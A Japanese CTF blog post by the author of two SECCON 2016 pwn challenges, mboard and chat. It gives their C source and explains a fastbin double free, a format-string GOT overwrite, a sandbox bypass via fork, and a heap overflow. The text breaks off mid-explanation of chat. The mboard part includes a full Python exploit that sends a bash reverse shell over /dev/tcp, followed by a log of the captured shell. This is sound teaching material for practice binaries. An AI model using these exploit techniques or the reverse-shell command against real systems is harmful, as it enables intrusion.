つれづれなる備忘録

CTF関連の事やその他諸々

SECCON 2016 Online Exploit作問 2/2 (mboard, chat)

前回の記事の続きです.
引き続き,SECCON 2016 オンライン予選で出題した問題の解説を行っていきます.

shift-crops.hatenablog.com

一応想定解法として解説を載せていますが,結構融通の効く脆弱性だったりするので攻撃方法はいくつかあると思います.

この記事は前回の続きですが,もしかしたらまだ読んでいない方もいるかもしれませんので,念のため本記事についてをもう一度掲載しておきます.

はじめに

本記事について

問題のバイナリおよびソースコード

この記事で解説する問題は,全てSECCON 2016 オンライン予選に向けて私が作成したものです.
既に公開されているバイナリやここで紹介するソースコードなどの利用については,自由に行って下さって結構です.
今後の勉強に役立てて頂けれるのならば幸いです.

使用ライブラリ

本解説記事に載せているexploitは,すべてこのライブラリを使っています.
実際に以下で紹介するexploitを走らせたい方が居ましたら,ここにあるsc_pwn.pyを同じディレクトリやPYTHONPATHに列挙されてるディレクトリなど,適当な場所に配置してから実行してみてください.

12月7日更新 github.com


mboard (Exploit400->500)

Host : mboard.pwn.seccon.jp
Port : 8273
Execute command : ./mvees_sandbox --replicas=1 --level=2 --out-limit=8192 --deny=11 ./mboard 2>&1

mboard.zip
mboard (SHA1 : cbd1701364cd7a41208cf4fd3cd5e82269f65b27)
mvees_sandbox (SHA1 : 38188bb110a74fb5641a3b51386d73c0d9ab0ed1)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

もともと400点問題として出題していたのですが,あまりにも解かれる気配がなかったので500点にアップしました(笑)

この問題では,解析すべきバイナリが二つあります.
どちらもx86のstripされていないバイナリなので,頑張って読みましょう!

まずはmvees_sandboxをさっと読んでいきます.
これは攻撃に対するシンプルな緩和手法です.

次に,問題の本体となるmboardの解析を行います.
こちらには何かしらの重大な脆弱性が存在するため,うまく緩和機構をかいくぐってシェルを奪いましょう

攻撃緩和機構

mvees_sandboxは,その名の通りMVEEsとSyscall Sandboxから成り立っています.

Syscall Sandboxはまぁシステムコールを制限してるんだろうなぁと想像に難くないですが,MVEEsとはなんぞやと

Multi-Variant Execution Environments (MVEEs) are a promising technique to protect software against memory corruption attacks. They transparently execute multiple, diversified variants (often referred to as replicae) of the software receiving the same inputs. By enforcing and monitoring the lock-step execution of the replicae's system calls, and by deploying diversity techniques that prevent an attacker from simultaneously compromising multiple replicae, MVEEs can block attacks before they succeed.
S.Volckaert+, "Multi-Variant Execution of Parallel Programs"

要約しますと,複数のレプリカを同時に実行し,全てのプロセスに対して同じ入力を与えてその挙動を監視するといったものです.

Linuxの現在のカーネルでは,アプリケーションのメモリ空間に於いて共有ライブラリやヒープ,スタックなどをランダマイズされたアドレスに配置するASLRという機構が存在します.
MVEEsでのレプリカというのはまるっきり同じアドレス空間のプロセスが複数動くのではなく,それぞれが異なったアドレス空間を持って動く為,もちろんマッピングされるアドレスも異なります.
MVEEsでは配下の全プロセスを監視しているため,これら全レプリカのアドレス空間の違いを考慮したような攻撃しか機構を騙すことは出来ません.
仮に一つのレプリカでも異常な動作(Segmentation faultなど)を起こしたり,発行されたシステムコールが他のレプリカと違ったりすると,そのことを検知して攻撃されたと認識し,即座に動作を停止します.

例えばスタックオーバーフローからROPチェインを組んでReturn to libcなどをすると考えた時,全てのレプリカで同じアドレスにlibcがマッピングされていることはほとんどあり得ないわけです.
一見攻略不可能かと思われる緩和機構ですが,既知で固定のアドレスにマッピングされた機械語列に飛ばしたり,共有ライブラリの下位バイトのpartial overwriteを行ったりして検知を逃れる方法はいくつか存在します.

今回の問題の為に実装したMVEEsでは,そのほかにも様々な監視が甘く,抜け穴が存在します.
ここに記載したのはシステムコールのチェックのコードです.

 if(!allow_sys[p_o->syscall])
        return -0x20;

    switch(p_o->syscall){
        case SYS_read:
            ret = read_data(p_o, p_r);
            break;
        case SYS_write:
            ret = write_data(p_o, p_r);
            break;
        default:
            if(!p_do_syscall(p_o))
                return -0x10;
            for(i=0; p_r[i].pid; i++)
                if(!p_do_syscall(&p_r[i]))
                goto end;
    }

詳しくは解説の所で述べますが,readとwrite以外はスルーという手抜きっぷりです.
このようなチェックな甘さを上手くすり抜け,シェルを取ることを目標としています.

ここからは問題本体のmboardについて読んでいきます.
それぞれの役割に分けて説明をしていきます.

ソースコード

プログラム内で利用しているデータ構造,および大域変数

#define true   1
#define false 0

#define NAME_SIZE 0x10
#define BUF_SIZE 0x100

typedef struct {
    char name[NAME_SIZE];
    char *msg;
} Entry;

typedef struct {
    char exist;
    Entry *entry;
} List;

List *list = NULL;
int list_size = 0x10;


メインサービス

int main(void){
    char *format __attribute__((aligned(0x100)));

    format = strdup("%02d | %-16s | %s\n");
    if(!(list = (List*)calloc(list_size, sizeof(List))))
        exit(0);

    dprintf(STDOUT_FILENO, "Message Board Service\n");
    while(service(&format));

    free(format);
}

int service(char **pformat){
    int menu, id;

    dprintf(STDOUT_FILENO,  "\n"
                "1 : List\n"
                "2 : Register\t3 : Remove\t4 : Modify\n"
                "5 : Change List Format\n"
                "0 : Exit\n"
                "menu > ");
    menu = getint();
    dprintf(STDOUT_FILENO, "\n");

    switch(menu){
        case 5:
            chg_format(pformat);
            break;
        case 4:
        case 3:
            dprintf(STDOUT_FILENO, "%s\nid   >> ", menu==3 ? "Remove Entry": "Modify Message");
            id = getint();
        case 2:
            deley(50);
            if(menu > 2 ? menu > 3 ? modify_message(id) : remove_entry(id) : register_entry())
                dprintf(STDOUT_FILENO, "[+] Success!\n");
            else
                dprintf(STDERR_FILENO, "[-] Failure...\n");
            break;
        case 1:
            dprintf(STDOUT_FILENO, "Message Board Entry\n");
            dprintf(STDOUT_FILENO, "%d entries exist\n", list_entry(*pformat));
            break;
        case 0:
            break;
        default:
            dprintf(STDERR_FILENO, "[!] Wrong Input...\n");
    }

    return menu;
}


エントリ操作

int list_entry(char *format){
    int i, c;

    for(i=c=0; i<list_size; i++)
        if(list[i].exist){
            dprintf(STDOUT_FILENO, format, i, list[i].entry->name, list[i].entry->msg);
            c++;
        }

    return c;
}

int register_entry(void){
    int i, len;

    dprintf(STDOUT_FILENO, "Register Entry\n");
    for(i=0; i<list_size; i++)
        if(!list[i].exist)
            break;

    if(i == list_size){
        dprintf(STDERR_FILENO, "[*] extend list\n");
        list_size *= 2;
        if(!(list = (List*)realloc(list, sizeof(List)*list_size)))
            exit(0);
        memset(list+list_size/2, 0, sizeof(List)*list_size/2);
    }

    if(!(list[i].entry = (Entry*)malloc(sizeof(Entry))))
        return 0;

    dprintf(STDOUT_FILENO, "name >> ");
    getnline(list[i].entry->name, NAME_SIZE);

    dprintf(STDOUT_FILENO, "len  >> ");
    len = getint();

    if(!len || !(list[i].entry->msg = (char*)malloc(sizeof(char)*len))){
        free(list[i].entry);
        return 0;
    }
    dprintf(STDOUT_FILENO, "msg  >> ");
    getnline(list[i].entry->msg, len);

    list[i].exist = true;

    return 1;
}

int remove_entry(int id){
    if(id < 0 || id >= list_size)
        return 0;

    if(!list[id].entry)
        return 0;

    list[id].exist = false;
    free(list[id].entry->msg);
    free(list[id].entry);

    return 1;
}

int modify_message(int id){
    int len;

    if(id < 0 || id >= list_size)
        return 0;

    if(!list[id].exist || !list[id].entry)
        return 0;

    dprintf(STDOUT_FILENO, "len  >> ");
    if(!(len = getint()))
        return 0;

    if(!(list[id].entry->msg = (char*)realloc(list[id].entry->msg, sizeof(char)*len))){
        remove_entry(id);
        return 0;
    }

    dprintf(STDOUT_FILENO, "msg  >> ");
    getnline(list[id].entry->msg, len);

    return 1;
}


その他

void chg_format(char **pformat){
    char buf[BUF_SIZE]={0}, *f, *n;
    char delim;

    dprintf(STDOUT_FILENO, "Change List Format\n");

    dprintf(STDOUT_FILENO, "Delimiter >> ");
    getnline(buf, sizeof(buf));
    if(!((delim = buf[0])^'%'))
        return;

    dprintf(STDOUT_FILENO, "Print id? (Y/n) >> ");
    getnline(buf, sizeof(buf));
    f = buf[0]=='n' ? "%3$s %1$c %4$s\n" : "%2$s %1$c %3$s %1$c %4$s\n";

    dprintf(STDOUT_FILENO, "Name align? (Y/n) >> ");
    getnline(buf, sizeof(buf));
    n = buf[0]=='n' ? "%2$s" : "%2$-16s";

    snprintf(buf, sizeof(buf), f, delim, "%1$02d", n, "%3$s");
    free(*pformat);
    *pformat = strdup(buf);
}

void deley(long int milli_sec){
    struct timespec req = {0, milli_sec * 1000000};

    if(nanosleep(&req, NULL)){
        perror("nanosleep");
        exit(0);
    }
}

int getnline(char *buf, int len){
    char *lf;

    read(STDIN_FILENO, buf, len);
    if(lf=strchr(buf, '\n'))
        *lf='\0';

    return strlen(buf);
}

int getint(void){
    char buf[BUF_SIZE]={0};

    if(!getnline(buf, sizeof(buf)))
        return 0;

    return atoi(buf);
}

解説 および 解法

携帯なんぞが普及してなかった頃の,古き良き駅の掲示板を想像して作ったプログラムです.
今のように相手と気軽に連絡が取れないので,待ち合わせで駅にやってきたら相手が来るまで辛抱強く待つのみ.
時間が迫っても会えなくて,仕方がなく名前と「帰ります」とだけ書置きして帰るあの掲示板です.(私は一体何歳なのか)

まぁそんな感じの機能を実現するため,エントリの登録・削除・変更の3つの機能を備えています.
エントリの内容は名前とメッセージのみ.
あとは,掲示板を模してるのでその表示をお好みにということで,フォーマットの書き換え機能も存在します.

フォーマットの書き換えの所に穴があるとFSBとかやりたい放題ですよね!
しかし,そこはちゃんと対策してあり,自由気ままに書き換えることはできません.
もちろん'%'も制限しています.

文字入力はgetnlineで行っているし,特にオーバーフローしそうな個所は見当たりません.(NULL終端していないので安全な関数ではありませんが)
全体のコードを追っていると,remove_entryでチェックと後処理不足な点が見つかります.

 if(!list[id].entry)
        return 0;

    list[id].exist = false;
    free(list[id].entry->msg);
    free(list[id].entry);

idで指定されたentryを削除する部分なのですが,せっかくexistという要素が存在するのに,free前にそのチェックを行っていません.
また,free後にentryをNULLにしていません.
これではdouble freeしてくれと言わんばかりのプログラムです.

double freeといっても,通常のチャンクを2回freeしようものならlibcはすぐにそれを検出してプログラムは落ちます.
ただし,fastbinsなら話は別です.
さすがにfreeした直後のチャンクを再びfree使用とすると落ちますが,1回別の同じサイズのチャンクをfreeしてから再びfreeすると問題なく解放が走ります.(libc-2.23.soでは不可)

例としてfree(A), free(B), free(C)(いずれのチャンクもサイズは一緒)とすると,freeリストにはC,B,Aの順で繋がれます.
では,Cではなく再びAと開放するようにfree(A), free(B), free(A)とすると,今度はA,B,Aの順でfreeリストに繋がれます.
この場合,1回目と3回目のmallocでどちらもAのチャンクが返るため,互いに別のタイミングで書き換えが可能になります.


実際に16文字程度メッセージのエントリをregisterしてから,そのエントリを2回removeしてみます.

まず1回removeした時,まずEntry構造体のmsgが解放されてから構造体自身が解放されます.
fastbinsのfreedリストには青(A)→緑(B)の順で繋がれます.

f:id:shift_crops:20161211110803p:plain

次に,もう一度ここをremoveさせるとAがさらにBの次につながるので A→B→A→B→...となります.

f:id:shift_crops:20161211111342p:plain

一旦この状態になれば,0x18未満のサイズのチャンクの確保で,必ずA,B,Aの順で確保されることが保障されます.
それ以降はAのnextが書き換えられるとリストが壊れるので,保証されません.

さて,この問題ではreallocを使ってメッセージのmodifyができます.
ですので,Entry構造体のmsgのポインタを書き換えられれば任意のヒープチャンクの読み書きが可能になります.
同じ領域であるAをEntry構造体とmsgで別々に確保させることができれば,msgをに書き込む際にEntry構造体のmsgのポインタを上書きして,上記の方法を試すことができます.

removeした後,再び16文字程度メッセージのエントリをregisterすると,その時AがEntry構造体,Bがmsgとして確保されるため,その次のregisterではAはまたEntry構造体として確保されてしまいます.
Aを1回目はEntry構造体2回目はmsgで確保させるためにはどのようにすれば良いでしょうか.
実は,1回目に16文字より長いメッセージを与えて確保すれば,Bでない領域がmsgとして確保されるため,次のregisterでBがEntry構造体,Aがmsgとして確保されます.

この状態では,Aはid0のEntry構造体とid1のmsgとして利用されているので,id1のmsgの書き換えでid0のmsgのポインタを別の所に向けてやることができますね.
さて,msgをどこに向けてやろうかと思うのですが,ここであの怪しいフォーマットを変える機能を思い出してください.
フォーマットはどこに確保されているのかというと,長さが変わることを考慮してヒープに取られています.
ということは,この領域にmsgを向けてやり,modifyをすることでlistの機能でFSBを起こすことができます.
ただし,MVEEsを考慮して,partial overwriteしなければなりません.

FSBができるようになったら,このバイナリ自身やlibcがマッピングされているアドレスを特定します.
ここでの説明は省略しますが,スタックからそれらの情報はすべて取得することができます.
詳しくはexploitを読んでください.

そうしたら,特定のGOTを別の関数に書き換えてやりましょう.
GOTを書き換えるためにはスタックにそのアドレスが格納されていなければなりませんが,上手く調節することで可能になります.
(説明が面倒になってきた)

もちろんの事libcのマッピングされるアドレスは違うので,本体やレプリカのGOTに対して本体のプロセスにマッピングされたlibcの関数を書き込むと,アクセスした際にSEGVで落ち,それをMVEEsに検知されてしまいます.
さてどうしましょうとMVEEsをよんでいくと,このプログラムのチェックの甘さが目に入ります.

 case SYS_read:
        ret = read_data(p_o, p_r);
        break;
    case SYS_write:
        ret = write_data(p_o, p_r);
        break;
    default:
        if(!p_do_syscall(p_o))
            return -0x10;
        for(i=0; p_r[i].pid; i++)
            if(!p_do_syscall(&p_r[i]))
            goto end;

先程も述べましたが,ここではsys_readとsys_writeしか追っかけてないんですね.
ということは,もしかしてforkすると監視の目から逃れられる??

予想は当たっていて,forkするとその子プロセスはMVEEsの管理から外れて動作を継続することになります.
仮にレプリカの子プロセスがSEGVを起こしても,何も問題なく本体の子プロセスは動き続けます.
しかしながら,管理から外れるということは入出力もハンドリングされなくなるので,その後ユーザから直接exploitを流し込んだり応答を得たりすることは不可能になります.
ですので,forkする前にあらかじめすべての準備を整え,流れるようにシェルが起動されるようにします.

適当なGOTを二つ書き換えて,forkとsystemを指すようにします.
system関数の方はどのGOTを選んでもさほど問題はありませんが(本体の子プロセスさえSEGVを起こさなければよい),forkだけは本体レプリカともに確実に実行されなければいけません.
ここで全てのGOTに格納されているlibcのアドレスを舐めますと,配布されているlibcのnanosleep関数とfork関数が非常に近いところにあり,下位1バイトを書き換えるだけで良い事が分かります.
ですので,nanosleep@got.pltをforkに,第一引数にユーザ入力のコマンドが渡せるfree@got.pltをsystemに書き換えてやります.

予め実行したいコマンドを格納したエントリを作成しておき,GOTを書き換えを終えた後にそれをfreeするように指定すれば,deley関数内で呼ばれるnanosleepでforkが呼ばれ,remove_entry関数内のfreeでsystemが呼ばれます.

void deley(long int milli_sec){
    struct timespec req = {0, milli_sec * 1000000};

    if(nanosleep(&req, NULL)){
        perror("nanosleep");
        exit(0);
    }
}

system関数の呼び出しまでたどり着くのは子プロセスのみであり,元の親プロセスはforkした時点で成功すれば正の値を返すのでexitします.

さて,system関数で呼ぶコマンドですが,通常通り/bin/shを呼んでもソケットは繋がっていないのでインタラクティブに操作することはできません.
では,どうするかというと,リバースシェルを張ればいいのです.
/bin/bash -c "bash -i >& /dev/tcp/HOST/PORT 0>&1
/dev/tcp/HOST/PORTはbashの機能なので,このように呼びます.

あとは,手元側のサーバで待ち受ければシェルゲットです.

さて,途中でお茶を濁したスタック上のGOTアドレスの場所についてですが,これは実行のたびにスタックのベースアドレスがずれるので,本体やレプリカで一致させることが難しいところです.
ですので,ここは数打ちゃ当たる方式で,偶然一致するまでexploitを試行します.
一応この問題では,できる限り一致しやすいように,_start関数でのスタックの位置を調節しています.

000007b0 <_start>:
     7b0:       31 ed                   xor    ebp,ebp
     7b2:       5e                      pop    esi
     7b3:       89 e1                   mov    ecx,esp
     7b5:       83 e4 c0                and    esp,0xffffffc0
     7b8:       50                      push   eax

元のバイナリ

000007b0 <_start>:
     7b0:       31 ed                   xor    ebp,ebp
     7b2:       5e                      pop    esi
     7b3:       89 e1                   mov    ecx,esp
     7b5:       83 e4 f0                and    esp,0xfffffff0
     7b8:       50                      push   eax

優しいでしょ?
さすがにand esp,0xffffff00にしちゃうと100%一致しちゃってつまらないのでこのくらいにしておきました.

Exploit

#!/usr/bin/env python
from sc_pwn import *

str_pname   = './mboard'

env = Environment('local', 'remote')
env.set_item('mode',    local   = 'LOCAL', \
                        remote  = 'SOCKET')
env.set_item('target',  local   = {'program':'./mvees_sandbox --replicas=1 --level=2 --out-limit=8192 --deny=11 %s' % str_pname}, \
                        remote  = {'host':'mboard.pwn.seccon.jp','port':8273})
env.set_item('libc',    local   = lib_path(str_pname, 'libc.so.6'), \
                        remote  = '../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368')
env.set_item('lhp',     local   = {'host':'localhost','port':1234}, \
                        remote  = {'host':'server.local','port':0000})
env.select()

libc = ELF(env.libc)
binf = ELF(str_pname)

offset_libc_dprintf_ret = 0x2b
offset_service_ret      = 0x144

offset_stack_ebp        = 0x34
offset_stack_oldebp     = 0x64

#==========
def attack(cmn):
    mb = MBoard(cmn)

    mb.register('hoge', 'a'*0x10)
    mb.remove(0)
    mb.remove(0)

    mb.register('hoge', 'A'*0x20)
    mb.register('fuga', 'B'*0x10+'\x08', False)
    mb.remove(1)

    #==========

    mb.modify(0, '%13$x %25$x ')
    addrs = mb.list().split(' ')[:2]
    addr_stack          = int(addrs[0], 16) - offset_stack_oldebp
    addr_ebp_main       = int(addrs[1], 16)

    addr_stack_gotplt   = addr_ebp_main - 0x34
    if (addr_ebp_main^addr_stack_gotplt)>>8:
        addr_stack_gotplt   = addr_ebp_main + 0x24
    offset_stack_gotplt = addr_stack_gotplt - addr_stack
    info('addr_stack            = 0x%08x' % addr_stack)
    info('offset_stack_gotplt   = 0x%x' % offset_stack_gotplt)
    
    mb.modify(0, '%18$x %14$x ')
    addrs = mb.list().split(' ')[:2]
    addr_libc_dprintf   = int(addrs[0], 16) - offset_libc_dprintf_ret
    addr_bin_service    = int(addrs[1], 16) - offset_service_ret

    binf.set_location('service', addr_bin_service)
    addr_got_nanosleep  = binf.got('nanosleep')
    addr_got_free       = binf.got('free')
    
    libc.set_location('dprintf', addr_libc_dprintf)
    addr_libc_fork      = libc.function('fork')
    addr_libc_system    = libc.function('system')

    #==========
    
    mb.modify(0, FSB(size=1).write(13, addr_stack_gotplt&0xff))
    mb.list()

    for i in range(4):
        mb.modify(0, FSB(size=1).write(25, (addr_got_free+i)&0xff))
        if not mb.list():
            return False
        
        mb.modify(0, FSB(size=1).write(offset_stack_gotplt/4, (addr_libc_system>>(8*i))&0xff))
        if not mb.list():
            return False

    mb.modify(0, FSB(size=1).write(25, addr_got_nanosleep&0xff))
    mb.list()
    mb.modify(0, FSB(size=1).write(offset_stack_gotplt/4, addr_libc_fork&0xff))

    if not mb.register('', '/bin/bash -c "bash -i >& /dev/tcp/%s/%d 0>&1"' % tuple(env.lhp.values())):
        return False

    mb.list()
    mb.remove(1)

    return 'nanosleep' in cmn.read_until()

class MBoard:
    def __init__(self, cmn):
        self.read_until = cmn.read_until
        self.send       = cmn.send
        self.sendln     = cmn.sendln

    def list(self):
        self.read_until('menu > ')
        self.sendln('1')
        self.read_until('Message Board Entry\n')
        ret = self.read_until()
        return ret if 'entries exist' in ret else None

    def register(self, name, msg, lf=True):
        self.read_until('menu > ')
        self.sendln('2')
        self.read_until('name >> ')
        self.sendln(name)
        self.read_until('len  >> ')
        self.sendln(str(len(msg)+1))
        if '[MVEEs]' in self.read_until(['msg  >> ', '[MVEEs]']):
            return False
        if lf:
            self.sendln(msg)
        else:
            self.send(msg)
        return True

    def remove(self, msg_id):
        self.read_until('menu > ')
        self.sendln('3')
        self.read_until('id   >> ')
        self.sendln(str(msg_id))

    def modify(self, msg_id, msg, lf=True):
        self.read_until('menu > ')
        self.sendln('4')
        self.read_until('id   >> ')
        self.sendln(str(msg_id))
        self.read_until('len  >> ')
        self.sendln(str(len(msg)+1))
        self.read_until('msg  >> ')
        if lf:
            self.sendln(msg)
        else:
            self.send(msg)

#==========

if __name__=='__main__':
    while True:
        cmn = Communicate(env.target, env.mode, disp=False)
        if attack(cmn):
            break
        
        del(cmn)
    info('Got a shell -> %s:%d' % tuple(env.lhp.values()))
    
#==========

ホストおよびポートは隠してます.
まぁ公開したところで普段は閉じてるので問題ありませんが.

実際に実行してみます exploit

[+]Environment : set environment "remote"
[*]Loading "../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368"...
[*]Loading "./mboard"...
[+]addr_stack            = 0xffdc3e84
[+]offset_stack_gotplt   = 0x1b0
[+]"./mboard" is loaded on 0x5656d000
[+]"../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368" is loaded on 0xf7524000
[+]addr_stack            = 0xffcbba84
[+]offset_stack_gotplt   = 0x230
[!]ELF : Base address is already set
[+]"./mboard" is loaded on 0x565eb000
[!]ELF : Base address is already set
[+]"../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368" is loaded on 0xf7558000
[+]addr_stack            = 0xffd04a84
[+]offset_stack_gotplt   = 0x230
[!]ELF : Base address is already set
[+]"./mboard" is loaded on 0x565aa000
[!]ELF : Base address is already set
[+]"../libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368" is loaded on 0xf7545000
[+]Got a shell -> server.local:0000

今回は3回で当たりました.
下手すると20回くらい当たらない時もあります...

待ち受けサーバ

[Yutaro@web ~]$ nc -lkv 0000
Connection from 133.242.225.41 port 4296 [tcp/*] accepted
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
I have no name!@mboard:/home/mboard$ ls -al
ls -al
bash: [9: 2 (255)] tcsetattr: Inappropriate ioctl for device
I have no name!@mboard:/home/mboard$ echo *
echo *
flag.txt mboard mvees_sandbox run.sh
I have no name!@mboard:/home/mboard$ read a < flag.txt
read a < flag.txt
I have no name!@mboard:/home/mboard$ echo $a
echo $a
SECCON{mv335_15_n07_4_p3rf3c7_m171g4710n}
I have no name!@mboard:/home/mboard$ 

う~ん
なぜかコマンドが走らない・・・(想定外)
まぁ解けるし良いよね?


chat (Exploit500)

Host : chat.pwn.seccon.jp
Port : 26895

chat (SHA1 : 6a60392ff43764570a1ea32de00ac6124469af0c)
libc-2.19.so (SHA1 : 8674307c6c294e2f710def8c57925a50e60ee69e)

点数配分間違えました(死)
これ400点で良かったですね

本予選に向けて,一番最初に作った問題です.
某Twi〇te〇のようなチャットサービスです.

ソースコードが長いので,それぞれ分けて説明をしていきます.

ソースコード

プログラム内で利用しているデータ構造,および大域変数

#define BUFSIZE 128
#define MAX_NAME 32

struct user{
    char *name;

    struct tweet{
        int id;
        struct user *user;
        char msg[BUFSIZE];
        struct tweet *next;
    } *dm;
    struct user *next;
};

typedef struct user USER;
typedef struct tweet TWEET;

USER *user_tbl['z'-'a'+2] = {NULL};
TWEET *tl = NULL;
int tweet_count = 0;


メインサービス

int main(void){
    USER *login_user = NULL;
    char buf[BUFSIZE];
    int menu, result;

    fprintf(stdout, "Simple Chat Service\n");
    do{
        if(login_user){
            service(login_user);
            logout(&login_user);
        }

        fprintf(stdout, "\n"
                "1 : Sign Up\t2 : Sign In\n"
                "0 : Exit\n"
                "menu > ");
        switch(menu = getint()){
            case 1:
            case 2:
                fprintf(stdout, "name > ");
                getnline(buf, MAX_NAME);
                result = menu==1 ? signup(buf) : login(&login_user, buf);
                if(result==1)
                    fprintf(stdout, "Success!\n");
                else
                    fprintf(stderr, "Failure...\n");
            case 0:
                break;
            default:
                fprintf(stderr, "Wrong Input...\n");
        }
    }while(menu);
    fprintf(stdout, "Thank you for using Simple Chat Service!\n");
}

void service(USER *user){
    USER *target;
    char buf[BUFSIZE];
    int menu;

    fprintf(stdout, "\nService Menu\n");
    do{
        fprintf(stdout, "\n"
                "1 : Show TimeLine\t2 : Show DM\t3 : Show UsersList\n"
                "4 : Send PublicMessage\t5 : Send DirectMessage\n"
                "6 : Remove PublicMessage\t\t7 : Change UserName\n"
                "0 : Sign Out\n"
                "menu >> ");
        switch(menu = getint()){
            case 0:
                break;
            case 1:
                get_tweet(NULL);
                break;
            case 2:
                get_tweet(user);
                break;
            case 3:
                list_users();
                break;
            case 4:
                fprintf(stdout, "message >> ");
                getnline(buf, BUFSIZE);
                post_tweet(user, NULL, buf);
                break;
            case 5:
                fprintf(stdout, "name >> ");
                getnline(buf, MAX_NAME);
                target = get_user(buf);

                if(target){
                    fprintf(stdout, "message >> ");
                    getnline(buf, BUFSIZE);
                    post_tweet(user, target, buf);
                }
                else
                    fprintf(stderr, "User '%s' does not exist.\n", buf);
                break;
            case 6:
                fprintf(stdout, "id >> ");
                switch(remove_tweet(user, getint())){
                    case 0:
                        fprintf(stderr, "Message not found.\n");
                        break;
                    case -1:
                        fprintf(stderr, "Can not remove other user's message.\n");
                        break;
                }
                break;
            case 7:
                fprintf(stdout, "name >> ");
                getnline(buf, MAX_NAME);
                if(change_name(user, buf)<0)
                    menu = 0;
                break;
            default:
                fprintf(stderr, "Wrong Input...\n");
        }
        if(menu)
            fprintf(stdout, "Done.\n");
    }while(menu);
}


ユーザ操作関連

int login(USER **user, char *name){
    *user = get_user(name);

    if(!*user){
        fprintf(stderr, "User '%s' does not exist.\n", name);
        return 0;
    }

    fprintf(stdout, "Hello, %s!\n", name);
    return 1;
}

void logout(USER **user){
    if(*user)
        fprintf(stdout, "Bye, %s\n", (*user)->name);
    *user = NULL;
}

int signup(char *name){
    USER *user;
    int idx;

    if(get_user(name)){
        fprintf(stderr, "User '%s' already exists\n", name);
        return 0;
    }

    user = (USER*)malloc(sizeof(USER));
    if((idx = hash(name))<0){
        free(user);
        fprintf(stderr, "Signup failed...\n");
        return -1;
    }
    user->name = strdup(name);
    user->dm = NULL;

    user->next = user_tbl[idx];
    user_tbl[idx] = user;

    return 1;
}

int change_name(USER *target, char *name){
    USER *user;
    int idx;

    if((idx = hash(target->name))<0)
        return -1;
    if(get_user(name)){
        fprintf(stderr, "User '%s' already exists\n", name);
        return 0;
    }

    if(user_tbl[idx] == target)
        user_tbl[idx] = target->next;
    else{
        for(user = user_tbl[idx]; user && user->next != target; user = user->next);
        if(!user)
            return -1;
        user->next = target->next;
    }

    // vuln
    linecpy(target->name, name, MAX_NAME);
    if((idx = hash(name))<0){
        fprintf(stderr, "Change name error...\n");
        remove_user(target);
        return -1;
    }

    target->next = user_tbl[idx];
    user_tbl[idx] = target;

    return 1;
}

void remove_user(USER *user){
    TWEET *tweet, *dm, *next;

    for(dm=user->dm; dm; dm=next){
        next = dm->next;
        free(dm);
    }

    for(tweet=tl; tweet; tweet=tweet->next)
        if(tweet->next && tweet->next->user==user){
            next = tweet->next;
            tweet->next = next->next;
            free(next);
        }
    if(tl && tl->user==user){
        next = tl;
        tl = next->next;
        free(next);
    }

    free(user->name);
    free(user);
}

USER *get_user(char *name){
    USER *user;
    int idx;

    if((idx = hash(name))>=0)
        for(user = user_tbl[idx]; user; user = user->next)
            if(!strcmp(user->name, name))
                return user;

    return NULL;
}

int hash(char *str){
    int headc;

    if(!str)
        return -1;

    headc = tolower(str[0]);
    if(!isprint(headc))
        return -1;
    if(headc<'a' || headc>'z')
        return 0;
    return headc-'a'+1;
}

void list_users(void){
    USER *user;
    int i;

    fprintf(stdout, "Users List\n");
    for(i=0; i<sizeof(user_tbl)/sizeof(USER*); i++)
        for(user = user_tbl[i]; user; user = user->next)
            fprintf(stdout, "* %s\n", user->name);
}


Tweet関連

void post_tweet(USER *from, USER *to, char *msg){
    TWEET *tweet = (TWEET*)malloc(sizeof(TWEET));

    tweet->user = from;
    linecpy(tweet->msg, msg, sizeof(tweet->msg));

    if(to){
        tweet->id = 0;
        tweet->next = to->dm;
        to->dm = tweet;
    }
    else{
        tweet->id = ++tweet_count;
        tweet->next = tl;
        tl = tweet;
    }
}

int get_tweet(USER *user){
    TWEET *tweet;
    int i;
    char *format;

    fprintf(stdout, user ? "Direct Messages\n" : "Time Line\n");
    format = user ? "[%s] %s\n" : "(%3$03d)[%s] %s\n";

    for(i = 0, tweet = user ? user->dm : tl; tweet; tweet = tweet->next, i++)
        fprintf(stdout, format, tweet->user->name, tweet->msg, tweet->id);

    return i;
}

int remove_tweet(USER *user, int id){
    TWEET *tweet;

    for(tweet=tl; tweet&&tweet->id!=id; tweet=tweet->next);
    if(!tweet)
        return 0;
    if(tweet->user!=user)
        return -1;

    if(tweet==tl){
        tl = tweet->next;
        free(tweet);
    }
    else{
        TWEET *target = tweet;
        for(tweet=tl; tweet&&tweet->next!=target; tweet=tweet->next);
        tweet->next = target->next;
        free(target);
    }   
    return 1;
}


文字列操作

int linecpy(char *dst, char *src, int len){
    int i;

    for(i=0; i<len; i++){
        dst[i]=src[i];
        if(!(src[i] && src[i]^'\n'))
            break;
    }

    return i;
}

解説 および 解法

このプログラムでは初めにユーザを作成し,ログインしたうえで呟き合ったり,特定ユーザにダイレクトメッセージを送ることが可能になっています.
ユーザ操作の機能として,途中でユーザ名を変更することが可能です.
自身でユーザを削除するためのメニューは用意されてはいませんが,ユーザ名変更時に空文字を与えることで削除することができます.

各ユーザはユーザ名によって決まるハッシュテーブルに繋がれて管理されており,その実態はヒープに確保されています.

突然ではありますが,このプログラムには2つの重大な脆弱性があります.
ひとつは,既にソースコード中にも書いてありますが,change_name関数内でlinecpy関数を呼び出している個所にヒープオーバーフローの危険性があります.
このlinecpy関数自体はコピーする上限を引数で取ってあり,使い方を間違えない限りは安全です.(ただし,改行文字が来た場合はNULL終端していない)
しかしながらchange_name関数では,ユーザ名を変更するときに以前利用していたヒープチャンクをそのまま再利用し,改行文字やヌル文字が来ない限りユーザの入力を最大でMAX_NAME(32)文字コピーをします.

f:id:shift_crops:20161211234019p:plain

linecpy(target->name, name, MAX_NAME);

文字数が制限されており安全そうに見えますが,元のヒープチャンクは前の名前の文字数に合わせてstrdupで確保された領域なので,それより長い文字列を与えるとほぼ確実に溢れます.


次に,もう一つの脆弱性についてです.
今度はユーザ削除時の処理にミスが存在します.
まず,ユーザの削除を行うremove_user関数では,次の手順を追ってユーザAの削除操作を完了します.

